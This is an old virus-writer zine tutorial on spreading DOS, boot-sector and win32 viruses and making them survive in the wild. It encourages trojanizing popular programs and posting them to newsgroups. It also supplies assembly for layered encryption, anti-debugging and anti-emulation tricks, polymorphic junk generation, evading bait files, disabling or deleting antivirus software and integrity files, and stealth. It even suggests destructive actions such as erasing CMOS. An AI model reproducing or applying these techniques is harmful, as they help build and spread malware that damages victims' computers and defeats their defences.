             The Infection Transaction. A.K.A: Spreading Theory.
                   And, TP's guide to surviving in the wild

                            By: Techno Phunk / TI
      
[Disclaimer]

        O.k, disclaimer, BIG TIME. If you are caught spreading your
virus, and it is illegal in your state, it was your descision. I can
not be held responsible for ANY of your actions due to this article.

[Introduction]

        In this issue I will cover only DOS and boot virus methods of
"surviving". Except, I *WILL* mention a bit on spreading a win32 virus,
and making it get around better, The next issue will contain article on
win32 "surviving", I hope.

[Blabering On]

        O.k, now that that is out of the way. Time for a lengthy
article on the Spreading Theory. I would like to discuss the methods
of spreading your newest creation, for each type of MAJOR virus type.
I will go from DOS file viruses, to Boot/Mbr viruses, and finaly to
win32 viruses.

[Duh and Blah]

        As, most of you know, most viruses don't just get wild-listed on
their own. Usualy, the virus writer him/herself has taken measures to
make sure that their virus has been distributed. Some virus writers
have even infected legit apps, that are in popular demand, and
uploaded to popular sites such as simtel. And even some other
virus writers have spread their viruses by infecting friends/and even
family. Well, it's time to learn some of the most working ways, and some
of the other things that some people have done, plus a few things that I
plan on doing, or that I have thought of doing anyhow.

        I sugest you read through all of these, as most of their
ideas will/can apply to other types of viruses.

[Now To the Guts]

        O.k, lets start with DOS viruses (gee, I get to go back to
the ol' school for a while! yay! simplicity, here I come!)....

[COM infector spreading]

        O.k, basicly, we all know that MOST people do not run COM files,
except those that are included with their OS: win95, win98, etc. Now, how
in the world are we going to spread it? Well, if I were you I'd advance up
to atleast EXE, but since your proud of it, and want to see it get SOMEWHERE,
I'll go ahead and talk about some things. O.k, first of all, you want to make
sure that you get your virus posted to LITERALY every single anarchy/pirate
board you can find. Just be sure to include a batch file or something to
assemble it, as most of the anarchist's that spread so many viruses, are
actualy, complete & uder morons.

        Anyhow, once you have done that, you can always go for a specific
audience. For example, lets say you want to goof off with software
"hackers". So, we could infect some super elite dissasembler, that was indeed
a COM file. For example, Intelegent Disasembler (a good, but small disasm).
It is a good example of a GREAT carrier for your virus, as it will probably
hit your targeted audience best. Now, as we go on in life, we must
learn that usualy a COM virus isn't gonna spread to well these days.
So, infect as MANY files on the drive as you can, and even switch to HD
if on a floppy, as, you really want to try to infect as many files as
possible on the FIRST run on out, as u can't just expect 2 or 3 files per
run to get you anywhere. Expesialy in COM. Now, lets move onto
EXE, PLEASE! ;)

[Exe Infectors]

        Exe/???? are the better of all DOS viruses, in that you can actualy
infect some DESCENT games/utils, however, most WAREZ are still win95+, so you
can wait for that method. However, you can always be a prepender, like
RAiD's viruses, and you'll do fine. O.k, basicly, our method with EXE viruses
and combo's is that we want to infect in any way we can, the most part of
the computer, just as above, probably can use a counter if in run-time, if
you wish. Anyhow, TSR/runtime viruses will work best with the threat of win95.
runtime at run from file, just to infect some files, and TSR after that
so that if the DOS box stays open, they infect new places. Think about it.
It'd be hard....but belive me you can get it to work after some tinkering.
Now, we really want to use some of the above methods. But we also wish to post
our virus to a few Newsgroups, and other internet media's, as somekind of
util, hopefully you have a working one that someone could want. Anyhow, you
basicly just post it under a "false" name, or whatever, and boom, everyone
who downloads it, will, oviosly, be infected (if they run it). Soon, you may
see "Oh gosh! I'm infected" poping up all over that newsgroup...so, have fun
while it lasts. But, as we have seen, NG's are actualy a good method of
spreading. Read http://www.datafellows.com/vir-desc/spanska.html (I think
that is correct url) for a bit on NG spreading success ;)

[Mbr/Boot]

        Well, to spread, we can either A. infect a software dealer SOMEHOW,
or B. we can get practical, and be devios. The best way that I have thought of
to spread a mbr/boot virus over the net, etc, is basicly, to create a dropper
and then, make that dropper trojen itself onto a legit app. So, you could
do this with a hex editor in a COM file like so:

JMP Virus_Drop
<dumby code>
Virus_Drop:
<drop virus to mbr>
<jmp back to the dumby code please>

 understand? or you can always create a EXE file that is actualy a dropper.
I suggest that you SOMEHOW make a "semi-legit" bait, as we don't want the
user to think he is infected, as we want him to be passing out some floppies
:). Now, once you have writen the droper, and distributed it to Newsgroups,
sit back, relax, as, in the nature of mbr/boot viruses, it will probably
be wild-listed soon. Or atleast suplement listed, belive me. Oviosly, no 
guarentee, but it is VERY likly. Anyhow, if you play your cards all right
you may have an epedimic occur ;). Be sure however that your virus will
work (even semi-unnoticably) under win95....I mean, atleast be able to infect.
Messages are o.k...but it'd be even better if you eliminate them, however,
 think about some of the older viruses out there that are not win95 compat
and are still in the top 10 reports ;). They all are very much flaged under
win95. Also, be sure to work around the newer BIOS AV's ;) (the lame switch
that allows the BIOS to stop user from writing to MBR, without confirm).

 You can use int 16h for that, similar to the VSAFE method, a long time ago.
You can read about this in my mbr/boot article in this mag.

 Anyhow, if you would look at the wildlist for like the past 10 or so years, you'll
see that mbr/boot viruses have ALWAYS ruled the wildlist, even in the time
of win95 and other win32 OS's. Anyhow, I hope your virus does well.

 Let me just note: I lied above, sorta. Just in the past couple months, Word
and win32 viruses have started to take over..but, still...mbr/boot provail.

 Btw- add some multiparite infection for a REAL blast!! :)

[Win32 Viruses]

        Well, basicly, the same as all the above. We have known that
Newsgroups are one of the best ways to spread these bad boys, but be SURE
that it CAN NOT be detected, at least, not by NORMAL AV's (AVP, F-prot,
etc). One thing in these types of infectors is that they USUALY fail
under winNT, as NT is diffrent from win95, try to add compatibility with
winNT in your next virus as, most buisnesses and other large places use this
OS more than just win95, suprisingly, this would boost your virus's ability to
survive in the wild.
        Also, make your virus DIFFICULT to clean, and I mean DIFFICULT,
the more time it takes the engeneers to figure out how to clean it, the
longer your virus will spread, so that poly engine you where thinking
about, well, it may be a good idea. Also, it'd be even cooler if you can
infect WM files also, or some other type of file. Even if you could just
infect DOS EXE's. Anyhow, also note that you MUST NOT assume a
hard-coded kernel base, as, this will screw winNT up. So, be careful here!


                   * Survival In The Wild - Part II of II *

[ Encryption]

O.k, basicly, what we need is a small, but efficaint first layer. I'm saying
first-layer, as, more complex encryption should be the second layer. Anyhow 
the first layer should consist of more comon code, such as delta, and XOR
loops. This way, we are much more complex for scan-string based AV's to find
a string for us. It won't do jack agianst the Heuristic engines however, but
we'll get over that in a bit. Just note that this will make it rather complex
to find a scan string, as they have few bytes to work with.

Basicly, in encryption, you should have a strong second layer, after the weak
(small) 1st layer. Encryption serves not 1, but 2 purposes. (this assumes
that u have no poly engine, but, this would add more to your poly virus I might
add!)

1.) Make's it less ovios to users, as text strings are hidden.
    - this is how some viruses are "discovered" - by sneaky people ;)

2.) Make's it harder to scan string, without emulation.
        - Bye-Bye McAfee ;)

Now, in the second layer we can use any of the following operands:

        * XCHG
        * NOT
        * ROR\
        * ROL/
        * ADD\
        * SUB/
        * XOR
        * ADC\
        * SBB/

Note that NOT and XCHG will produce constant code, so use them with other
operands. For example, you could: Xchg Al,Ah / Add Ax, [Bp+Key] / NOT al
or whatever! use your imagination. One idea also is to create diffrent keys
as you encrypt/decrypt. For example...we could simply add:

        Dec Word Ptr[Bp+Key]
 * in the encryption loop
or:
        Inc Word Ptr[Bp+Key]

        In the decryption, what this does, is gives us a diffrent key for
each word or byte (depends on what kind of loop u use). This method makes
it a LITTLE more complex to remove...it's even better if you make it more
complex to figure out the new keys, and so on. It usualy won't cost you to
much in speed, or in size, as long as you don't try to go off and write the
next PGP :). Basicly, just a method of "creative" encryption ;). I might
take back the note on Little more complexity to remove, as, all it will do
is prevent them from taking your encryption key, and your decryption op, and
going over the file. Not EXTREEMLY useful. Just think folks.

        So, technicly, your o.k for now, in the Encryption field.

btw- this method also works in win32, of course <G> - 16bit code btw, also
works with win32, however, I recomend u use the 32-bit versions, as you get
some odd 4-billion diffrent virus-bodies. And it's a little bit faster :)

        Lea Esi, [Ebp+Crypt_Start]
        Mov Edi,Esi
        Mov Ecx, (end_vir-Crypt_Start) / 4
        Jmp Encrypt

        Cryption Dd 0

Encrypt:
        Lodsd
        Xor Eax, [Ebp+Cryption]
        Stosd
        Loop Encrypt
Crypt_Start:
[...]

Another thing that you may want to consider in your virus, is MULTIPLE encryption
loops, no mater how big it makes the virus, but, be warned that about 4
loops is almost over-kill. 2 or 3 will do nicely, and, make the virus a bit
more difficult to look at. Think about it. You can also make the loops
be diffrent, for example:

        * [ First Layer - decrypts it's layer from WHOLE virus]
        * [ Second Layer - decrypts from 3rd layer only]
        * [ Third Layer - decrypts the 4th layer]
        * [ 4th Layer - decrypts the whole virus]
        * [ done ]

This way, you have multiple layers, in diffrent places. just be sure that
at the least, that the loop after is encrypted...in other words, if you have
two loops, make sure that loop one has encrypted loop 2, and that it
is oviosly, decrypted by loop 1, also. Be sure to also keep your keys within
the encrypted part, except for the first layer (which MUST stay unencrypted).
If the Original info from a file: e.x: the data after header, is encrypted, and
their are multiple loops, the AV has to do a little more work to decrypt
those headers or original bytes :).
 
 Simplicity can sometimes make things better :).

Note: if you have more than one encryption loop....in the second, third, etc
put LOTS of anti-debuging code <EG>, bah, and some anti-emulation too! :)


[Anti-Emulation]


Anti-Emulation is very important in a virus also, as we don't really want
the virus to be emulated during it's spreading fases. Belive me, it'll be
emulatable after the AVers spend some time with it. And, then, no more
trick. But, their are MANY ways to screw with emulators. First of all,
a lot of "Heuristic" engines, actualy, rely on code being the same every time.

For example....TBAV looks for the *.exe string...if found it flags.
See urgo's article on TBAV for more info on flags.

Anyhow, so, what we want to do is, basicly, set up a routine that the
emulator can't understand, or will get tired of goofing with. We can do
this in many ways. The classic way is to generate a *long* loop, and make
the AV think that the loop is neverending. We have this this technique
in many viruses both past and present. I still don't understand why AVers
still have this feature. I guess they must keep their AV on the responsive levels.
Anyhow, our SECOND method is to use a routine that the AV can't emulate, as
its not in it's database of code to emulate. For example we can use the routines
layed out in Urgo's tutorials, and in his viruses. And, one other method is
to simply, and I do repeat, simply, do a new way of doing a common routine.
This has been done in things like the delta offset, and using temp registers
and even a diffrent register than BP. Btw- let us also mention the idea that
this code will make the AV's have to debug your virus....as, they only debug
if their emulators don't work to analyse. Well, exception of people like
Kaspersky :)

        Everyone o.k? o.k, time for making life missrable for the AVers...


[Anti-Debuging]

Now, since the AV's can't EMULATE, they must do this...lets talk.

Well, of course, this is esential in that, we want the AVers to have a real
pain in the butt when trying to examin your very well surviving virus. We want
the virus to have a cure in more time, as every MINUTE counts, as many files
are being copied, EVERY second. So, the longer they AVers take, the longer it
will be for your virus to spread before it starts being detected/removed.

Of course, if you kept other factors (described later) in mind, your virus should
countinue to spread for a while, but of course, on about a 1/10 scale from
what it started as. The reason we want the AVers to take longer is mostly, 
because a virus must spread it's BEST during the first couple months or so, as
otherwise, it has really, no *REAL* chance of REALLY moving after that.

So, anti-debuging, right? o.k, it's a very simple concept, however it is hard
to descuss a way of REALLY descent schemes, as lots of the techniques are very
old, and are common also. So, you must get creative to make it hard.

O.k, their are a few things that we CAN do. First of all, lets talk theory.
Note, that, I think that WHALE is probably one of the greater examples of a
GOOD anti-debuging virus, as, even the AVers admit to the complexity of its
anti-debugging code.

First trick, is to create Fake routines. A very simple way. However, I don't
REALLY recomend it, as, it makes your virus quite large, and, in essance, slow.

Basicly, just create a lot of fake routines like:

        Call ThisIsFake
Backers:
        Mov Ah,3d02h
        Lea Dx,9eh
        Int 21h

        Jmp WhyMe
[...]

ThisIsFake:
        Mov Ah,3d02h
        Lea Dx,Hahaha
        Int 21h
        Jc Backers
WhyMe:
[...]
        Hahaha db 'ImBloated',0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-----

Get the idea? if not.....lord help you child.

Now, one of the first things we can do in our attempts to keep BOTH AVers and
semi-educated-lamers out of our code is to disable the keyboard. This is a
clasic, so don't expect to fool a "experianced" person. Basicly we play with
the IRQ status of the keyboard device. I guess I'll show you how...

Screw_It:

        In Al,21h                  ; Dead Keyboard. Don't you love it 
        Or Al,02h                  ; 
        Out 21h,Al

[your code here]                   ; note this will not work under win95?
                                   ; probably do to Pmode operation
Unscrew:
        In Al,21h                  ; hrmm....I guess you can have
        And Al,Not 2               ; your keyboard back :P
        Out 21h,Al

Now, for example, TD can no longer do the F7 methods...and otherwise, do ANY
type of function with the keyboard. Same goes for ALL debugers...except
Emulators that don't allow the IRQ status to be changed.

Now, you also want to be *SURE* to insert a few int 3h's here and there.
It'd better if you make int 3h point to int 21h....Simply:

        Mov Ax,3521h          ; get int 21h's vector.
        Int 21h
        Mov Word Ptr [Int21],Bx    ; store offset
        Mov Word Ptr [Int21+2],Es  ; segment

        Mov Ax,3503h          ; get 03h's vector for later.
        Int 21h
        Mov Word Ptr [Int03],Bx    ; offset
        Mov Word Ptr [Int03+2],Es  ; segment

        Mov Ax,2503h
        Lea Dx,To                  ; int 3h points to a JMP to int 21h.
        Int 21h

; Whatever you want in between
        Mov Ah,9
        Lea Dx,Msg
        Int 3h                     ; <EG>
; blah.

        Mov Ax,2503h               ; you should restore.
        Push Ds                    ; some anti-debuging programs don't like you not
        Lds Dx,[Int03]             ; restoring (copyprotection programs that is)
        Int 21h                                       
        Pop Ds                     ; I asume that you need DS to stay same in this example


        To Db 0EAh
        Int21 Dw 0000h
        Int03 Dw 0000h     

-------

I didn't test the above, but it should work. Basicly, the Debuger is gonna
stop at EACH of the Int 3h's. This is great, as, when it stops, the keyboard
is PROBABLY going to be disabled...and, of course....you get some optomisation
in bigger viruses....since int 21h is oviosly 2 bytes, while int 3h is one.
You can also do this with Int 1h, with the undocumented: ??h opcode. If you
want...I recomend int 3h for anti-debuging, however.

Now, another "annoying" thing to do is:

                Mov Si, Offset Eov
Decrypt:
                Xor Word Ptr Cs:[Si], 0000h 
                Crypt_Val Equ Byte Ptr $-1
                Dec Si
                Cmp Si, Crypt_Start
                Jnz Decrypt
Crypt_Start:

o.k, a bit of explanation here. First of all, you avoid certain Debuger's
"go" function of sorts, because the loop is backwords, and it screws up. Next
the user can no longer "f8" under TD to by pass the loop function...and, with
a large virus, this could be quite a pain in the arsch....as you have to sit
and countinuesly press down f8 or f7, just depends. But, needless to say, it
will suck for whoever is trying to debug this loop.

The next type of thing we can do, is put in a stack check. When debugers trace
with Int 1h, the stack is destroyed. So, we can "abuse" this fact by the following:

Push Ax
Pop Ax
Dec Sp
Dec Sp
Pop Bx
Cmp Ax,Bx
Jne Tracing_Losers_Found

[...]

Tracing_Losers_Found:
[do something mean: erase CMOS, HLT, use your imagination <EG>]

This is a great thing to shove somewhere where it's needed and to implement.
For Example, this could be used for the restore routine of a SYS infector...

        Mov Bx, Offset TheEnd        ; BX = offset of original strat routine
        Pusha                        ; push all regs till end.

[...]

        Popa                         ; Gimme em all back!
        Push Bx                      ; We know this trick...(just slightly reversed)
        Pop Bx
        Dec Sp
        Dec Sp
        Pop Ax                       ; now, give me the value of BX in AX. heh.
        Push Ax                      ; if debuged, won't return correctly.
        Xor Ax,Ax                    ; duh
        Ret

TheEnd:
        Int 20h
------

Just an example, could be used in similar ways...just use your imagination.

And yet another way to screw with this...

        Mov Ax,Offset TheEnd    ; use any register you like.
        Push Ax
        Pop Ax
        Dec Ax
        Dec Ax
        Pop Ax
        Jmp Ax
        Pop Ax
TheEnd:
        Int 20h

Wasn't that all fun!

Now for a very resistant way for Int 3h.

; parts of this example taken from my SISTERS virus.

        Push Ds                         ; you will want this later.
        Xor Ax,Ax
        Mov Ds,Ax                       ; DS = 0
        Xchg Ax,[12d]                   ; Exchange for a bit.
        Mov Word Ptr [Blar],Ax          ; save for later.
        Pop Ds                          ; gimme back DS

        Mov Ah,9                        ; some code.
        Lea Dx, Msg
        Int 21h
                                        ; you may want to save DS if you still need.
        Xor Ax,Ax                       ; DS = 0 agian
        Mov Ds,Ax
        Mov Ax, Word Ptr [Blar],Ax      ; Give us back the original value.
        Xchg Ax,[12d]                   ; back to int 3h's place in IVT.
        Int 20h                         ; exit.

some_data:
        Msg Db 'Blah$'
        Blar Dw 0

this is just an example, but this will f'up a debuger using int 3h...for int 1h
u can do this:

        <zero ds or whatever you want to use>
        Xchg Ax,[4] ; note: AX = 0
        Int 3h      ; stop each time (in case someone trys to int 3h past it)
        Xchg Ax,[4] ; restore.
        <code>

you may want to put that in a loop about 256 times or whatever, and put it
in backwards order for more fun...have fun :)

-----

Another great way to make this proccess for the AVers even more painful, is
to put a lot of layers of encryption, as, the more you put in, the more they
have to trace through, and find alogorythms for. Not a fun thing at all ;).
Not to mention, that, in SOME computers/debugers, they will run out of memory
if you do it just right. for example the CRAPY debuger: d86 (included with
the a86 package)...will crash on a loop. Unless you setup break points..
You'll get "unsufficaint memory"...

One other great trick is to use the timer (int 8h) to screw with a debuger.
This can be done by traping int 8h, and then, making the handler make some
value true...for example you could MOV a value, or MOV a value to a register.
Then, after you have hooked, you must set-up a loop, when the loop runs, it
simple looks for int 8h's handler being called. In other words, looks for the
value you set, to be true. This will only happen in a normal program, as under
debugers, int 8h isn't called, fun eh? :) btw- Int 8h is not called under
an emulator either (more fun) - soft-ice, super tracer, bye.

Also, under win32, here's a small anti-debuger trick. Simply take the Int 3h
instruction, and instead of db 0cch....put in a db cd03h. And they will get
messed up. Have fun with that (you can do all kinds of fun things including
using it in your getting of ring0 access <EG>)

O.k, kiddies, it's time for the next part. Anti-Bait filing.


[Anti-Bait]


What can I say? heh...lets make it even more painful, pull out your favorite
bait generators, and study how they work, and then, you will see the way that
most AVers Bait generators work. You can then write code that will either A.
look at the name for certain things. or B. look at the code....or even both,
I recomend you do a little of both, as you'll catch more that way. You really
want to make things hard on them. After all, they should have to work like
the rest of us to make thier money! :). It's just not fair is it? ;)

O.k, lets talk. First of all, we DEFINATLY want to avoid tiny files, because
they first of all, are of no use to us, and second, could be bait files.
Now, if your an EXE infector, it's VERY safe to asume GOOD files to be well
over about 5-10k....As, most compilers (of HLL) produce code of up to 12k for
a simple "hello world". Get the idea? Well, it's quite simple to check the
file size, just look in the DTA at offset 1ah, you'll find yer info there.
Then, you can do a CMP and a conditional jump. You also, if infecting COM files
want to check for a size larger than 64k or 65k (depending on the size of
your virus). The next thing you want to do, is to check the date stamps, if
they are like, within the last two or three days, beware. Also, look for
dates before for example: 198?....these files would usualy mean trouble, or
actualy, a bait generated file. So, be careful of these.

Now, the other method, code analyses. We must first of all become accustomed
to what "junk bytes" really are. First of all, look for them, for example, if
you scan over a host, and it has more than, say, about 10 nops, don't infect
it. I mean, not too many programs use NOPs, and if they do, they use FEW. Also
look for trash like: add ax,3 / sub ax,3, and other instruction sets that are
oposites.

Also, I wouldn't infect any files in root directory...or infect ANY file
with a number in it. These types of files often mean T-R-O-U-B-L-E

Read AVPVE (dos version or online, I dun care) to see some of the ideas
that Kaspersky shares. <EG>

Basicly, that's it, but, of course, there is always more to the picture.
And yes, I'm talking about that dreded thing: POLYMORPHISM, and other ways
of changing the code, and making the lives of AVers a pain.

[Morphing]

        Well, most people have heard of Polymorphism, which is the practice of
making code diffrent, by diffrent means. Wether it be insertion of "junk", the
changing of entire routines (oligomorphism)...or even the simplistics of register
changing (often overlooked).
        We've seen it all, from MtE to DAME, to independent poly's such as
the more recent Ultimate-Evil (smallest one I know of), Zohra, Ithaqua...and
even Elvira. All of which (except ultimate-evil) are quoted as "complex" to
find alogorythms for, or otherwise complex in code. The key to a GOOD poly engine
is a few things: LOTS and LOTS of diffrent code that it can produce. Slow
morphing (makes it quite a bit harder to analyse when it won't give up to much
code per run). And combination with the other techniques described in this
article.
        So, what kind of polymorphism is *RIGHT* for your virus? Well, I
must say that I'm not the expert on polymorphism...but, here we go.

Simple: Oligomorphism (see Elvira or Prospero if you want an example)
Medium: Register Changing (requires a bit of knowledge of intel structure)
        Small amount of code, however.
Almost: Op code changing combined with Junk Bytes.
Hard: All of the above (ultimate poly baby!)

Op Code changing is quite simple...Basicly u can figure out the op codes to your
encryption loop. Note that if you need the virus size, u'll need to wait until
you know the exact size of the assembled code, then insert that value.
Basicly...think about it. You can do things like:

Add --- > Sub or ---> Xor or ----> Adc or ----> SBB or ----> Not

you get the idea...basicly, u can change the alogorythm for each decryption/encryption.
I do this in my SISTERS virus btw.

Then...you can switch bytes around:

        Mov Di,Si
        Mov Cx, VirSize

Is same as:
        Mov Cx, VirSize
        Mov Di,Si

And also:
        Lea Si,Start
        Mov Di,Si

is same as:
        Lea Di,Start
        Mov Si,Di

you get the idea...

Also, junk bytes are a great thing to screw with. However, it's not really
that "Great" in that, all that is done by the AV, is they are all skiped over,
not really that "fun". However, it will screw the AV up in the first part as
any poly....as long as it's original, and strong.. In other words, a simple
"junk" generator: generates a set number of 1 byte intrstuctions...is not going
to help that much, and will probably get AV's upset with infected files (detect them)
in that they will flag a 'junk' code section.
O.k...so, you can use ANY instruction you want...as long as it doesn't
effect the rest of the decryptor. Some common (one byte only) instructions:

        * sahf
        * lahf
        * nop
        * clc
        * stc
        * cbw
        * cwd
        * int 3h
        * dec ax
        * dec bx
        * dec dx
        * inc ax
        * inc bx
        * inc dx
        * db 0f1h  ; int 1h - undocumented op code for 1 byte.
-------------
the above is simply not enough....anyhow, lets move on.

Here is a SAMPLE of a small poly engine structure...a advanced Junk Byte
poly.

        Lea Di, Offset Buffer
Loopers:
        Mov Ax, 3
        Call Random      ; return between 0-ax
        Shl Ax, 1        ; give me it in offsets.
        Add Ax, Offset Table
        Mov Si, Ax               ; SI = pointer to place we goin
        Call Word Ptr [Si]
        Cmp Byte Ptr [Counter],6 ; have enough of the originals yet?
        Jne Loopers

        Ret

Start_Table:
        dw Offset Make_Movs      ; routine to make a random MOV
        dw Offset Make_Nops      ; to generate stc, nop, and other junk
        dw Offset Gimme_Real     ; gives a real byte of decryptor.
        dw Offset Make_Add       ; random Add's
        dw Offset Make_Sub       ; some random Sub's
        dw Offset Make_Xor       ; random XOR's even! :)
        
[...]

Get the idea?

Very easy, no? :)

Basicly, you can do things like a random mov by generating random number
between 0 and 7....and b8h and then place two bytes after...this way, you get
a nice Mov ??, ????? instruction...and otherwise, you will have to do a little
research to write these routines.

However, let us talk a bit more, what is a better way, TP?

O.k, I hate talking about this, as I'm not exactly mr. leeto in Polymorphism,
but, I will explain this, as best as posible. Now, the BEST way of creating
a GOOD poly engine, is not only to rely on ONE or TWO "simple" types of
morphing. The BEST way is to make your code as VARIABLE as possible, I mean,
not JUST junk bytes, which, is semi-constant, as they can see that your stuff
is junk, and they'll just skip it. Now, the fun part. We must implement
a combination of "do-nothing" interupt calls, wierd mathematical functions,
that, will not ALTER any of our NEEDED values, we must also have SOME junk
placed inbetween the op codes, which, we use the above variable "do-nothing"
statements. Anyhow, the next thing that we can oviosly do, is to simply change
the registers used within the decryptor, so, we don't use the SAME registers
all the time. We also should implement a bunch of strange routines. In other
words, instead of:

        Push Ax
        Pop Ax

We could generate through some more complexness, a new set of junk like this:

        Push Ax
        Nop
        Xchg Bx,Ax
        Push Cx
        Xchg Bx,Ax
        Pop Ax
        Pop Cx

Note: the op codes are simply not "bunched" together...shoot, if you can do
it CORRECTLY (and belive me, it'd be a pain)....you could even wind up
with the POP Ax, somewhere about 200 bytes down...talk about a pain ;).

Just be sure that if you spend time on a poly engine, to make SURE that it
is going to work WELL, and that NO TWO conditions are dependent...this has
been stressed through out the years, and yet, few people remember this. PLEASE
make SURE that you make your engines worth while, I don't want you WASTING
your time. Have fun!

----Now, a bit more on morphing....

Metamorphism, is yet, another (not so commonly used) method of making the
virus more complex to remove. Basicly, it consists of making the virus have
random sizes. We can do this VERY easily, by simply adding bytes to the end
of our virus, by use of things like the timer. Also, we can make it a bit
more complex, and actualy write a random amount of virus code, then, insert
a JMP over the trash....and then write the trash stuff....and then countinue
writing the virus, and finaly, encrypt the virus itself. So that the virus
in the heap (before encryption or writing) looks like this:

<virus>
<jmp $+length_of_the_trash+3>
[...]
<rest of virus>

then, we just encrypt as usual. This method make the virus change a bit also.
The only problem with this method, as you might have guessed, is in that,
you must CHECK to make sure that u are at the end of an instruction, before
you write the JMP, because, if your not, life is gonna suck. :). One SIMPLE
way would be to use STATIC locations, but, that's not fun. You can search
for a random CD21h (int 21h), and write the JMP after that. That would be
a bit more random. Anyhow, do this anyway you please. This is just a method
that I devised while writing this. Just note that this can also be done
by the use of 

Now, really quickly I'd like to mention a little method that I have thought
of, that would be sorta intresting to see how the AVers handle it. It's not
much, actualy, it could be left alone. Here's the idea, basicly, what we do
is we write trash after INT's in the host...e.x:

Original Host:        After Virus:
Mov Ah,9              Mov Ah,9
Lea Dx,Msg            Lea Dx,Msg
Int 21h               Int 21h
                      Nop
                      Int 3h
                      Jmp $+3

or whatever, this, is not dangerous, but, it would make the AVers scan
through the WHOLE host, and try to get rid of the junk that we added. Also,
we can always write ourselfs into the unused space of the file, wether it
be a PE file, or a MZ, and just write a bunch of trash there. Whatever
you like to do, just use your imagination. Note that a lot of this stuff
in this tutorial still having to do with DOS crap...I have a special section
in a bit on anti-debuging in win32, and a bit on anti-emulation, anti-AV, etc
in the next tutorial (in TI#2)


Please note that Metamorphism can  ALSO be defined as the polymorphing of a
virus, without encryption...and without changing it's function...for example..
to simply go through, and add a few junk bytes between each diffrent
instruction. Quite fun! :)


[Anti-Anti-Virus Methods]


Yes, yes, yes, we must have some code also to make it VERY complex for the AV
to run, or function properly. We can do this by many methods, first of all we
can always do the OLDEST trick in the book, and it can't be patched, unless
the AVers change the name of their AV. Now, basicly what we can do is delete
the AV itself, or we could always delete some of it's main files, even currupt
them.
 Another thing is that we can trick the AV into thinking that the file is
empty. Or, we could even make the AV think that all files are infected. By
simply returning the virus's body every time they read a file. And to be even
more fun, you could make it so that TXT files apear infected ;). Anyhow, that's
only if your in memory at the time. Now then, we have seen many methods through
out the years. From anti-emulation, to breaking out of the "safe" areas and
infecting during scans (Lauren virus). Now, lets take a look at some of our
methods. First trick I'd like to look at is the simplicity of deleting the
pains. You can delete the AV itself, which is very ovios, but it may confuse a
normal user. Now, second of all, you can cause the AV to function improperly,
by simply deleting some of it's data files, but some AV's will warn user of
this, and say it could be a virus. So, what else could we do? Well, you could
search for conditional jumps, and change them, which is always funny to do. Heh
it'll really mess with the AV's functioning. and you can always just overwrite like
bytes somewhere randomly in the file, which will probably cause some problems.
or cause wierdness to the user. Whatever you want to do! screw the AV, we dun
care.

Another method, less rude, is to simply keep the AV from running. However, u
can only do this if you are a TSR, but I pray that you atleast understand
TSR by now. O.k, basicly, this method has been done, and is quite effective.
As long as the AV doesn't have another TSR proggy to stop you. So, how
to do it? Well, it's VERY simple actualy. Basicly, your concept goes like so,
you compare the file being run's charecters, and if it is a AV that you want
to avoid, then, you just go to your anti-av routine. Here, you simply TERMINATE
the proccess, this simply stops it from running, with great success.
But, again, the virus MUST be in memory. So, next theory...

Now, lets say that u have done one of the above techniques. So, how to make
sure that Nasty AVers don't stop you by way of a TSR AV? Well, in many ways
we can do this. First of all, we can tunnel int 21h, and make sure we get a
clean one, this way, we get rid of anything that has hooked int 21h. Not to
mention that we probably want to do this. Another thing to do, just to screw
with TSR-AV's, is to actualy intercept calls to hook int 21h, and protect
it, this way, no other program can just revector, and screw yer virus over.
This is probably one of the greater things to do in a virus.

Now, what else can we do? Well, use your imagination is what I always say.
By the way, one *GOOD* thing to do, when infecting is to make sure that you
don't infect any AV's with a self-check. Most do have a self-check btw, for
reasons, that are ovios. Now, as we countinue to go along, we try to think
of even more complex things to screw with the AVers minds, why? because it's
fun :).

If you have ever looked at some AV packages, you probably have noticed that
some even implement CRC files in their "protection schemes", well, guess what
these can be screwed over with NO problems. First of all, in some AV cases, we
can actualy emulate the CRC file, and change CRC's of files. This is probably
the best "stealthy" method, but is usualy a bloated routine, so, next thing
we *CAN* do, is to simply rename the file, or delete it. Whatever you wish to
do, as, both will have the same result. btw- here's a short list
of a few annoying CRC files to rid of:

Anti-Vir.Dat
CHKLIST.*
ivb.ntz

[Stealthy Features]

O.k, so, now you've prety much made it hard for the AVers to capture and study
our virus, so, now what? Well, as the sub-topic title refers to, STEALTH.
Why? because, we want the user not to become suspicios either! The longer
it takes for some moron to figure it out, the longer it will take the AVers
to get a sample, you dig?

 So, we have a few common ways of stealth, which I will discuss, and
a bit about the pro's and con's. 

First of all, we can do a find first/next stealth...Which is a.k.a 'ed as
DTA stealth. Lots of viruses use this, as it's a very, very, simple method
to avoid some programs from noticing size diffrences.

O.k...basicly here's the outline (assuming that we've noticed the functions
4e and 4f being called sometime):

        Check if infected ----+
                              |_ Infected --+
         Let it happen, nop  _|             |
                                            | _ subtract virus size from
                                                the size of file in the existing
                                                DTA.

That's it. Now for the pro's and con's of this:

for all of these, virus MUST be in memory (except for the simple time/date
restoration).

- DIR will detect diffrences (I am not sure if this is true under winblows 95/98)
  use FCB's for this.

This works simply, and efficiantly, as, lots of persons use programs like
Dos Shell, Nortan Commander, and other File Shells. Basicly, it doesn't take much
just SUB the word at offset 26 in the DTA.

[File/Date restoration]

Very Easy.

Function 57h (with al=0)....= Get File Date and Time
Returns in CX and DX the file date stamp. and the time stamp.

So...
        Mov Ax,5700h
        Int 21h
        Push Cx
        Push Dx

Fucntion 57h, al=01, now it is "set" file date/time
Calling params need DX and CX again...we just pop em back.

        Mov Ax,5701
        Pop Dx
        Pop Cx
        Int 21h

Remember: when you push something, the next pop will = it.
        Push 100
        Pop Ds
 now ds=100....

so:
Push Cx  --
Push Dx  -  \ -\
             \  \
              \  \
to say:       /   \
Pop Cx  - DX /    /
Pop Dx  - CX ___ /

would be wrong =)

Now then. Let talk about a TSR method again. One of my FAVORITE types, thanks
Billy and Int13h ;).

[IVT stealth]

Basicly, we don't want any AV's to be above us, and so on. So what we want to
do, is give back some original vectors. For example: 35h of 21h will return
the Old_Int21h value...this way, the program stores that one. Then, when
25h is called, we store the new offset as our Old_Int21h
so:

<we call int 21h>
<there handler is proccessed>
<and others are done>
<dos>

It's very easy to do, requires only two mov's per function, to be honest.

; assumes that DS is pointed in right place.
Stealth_35h:
Mov Word Ptr [Old_int21h],Bx
Mov Word Ptr [Old_Int21h+2],Es
Iret

Stealth_25h:
Mov Bx,Word Ptr [Old_Int21]
Mov Es,Word Ptr [Old_Int21+2]
Iret

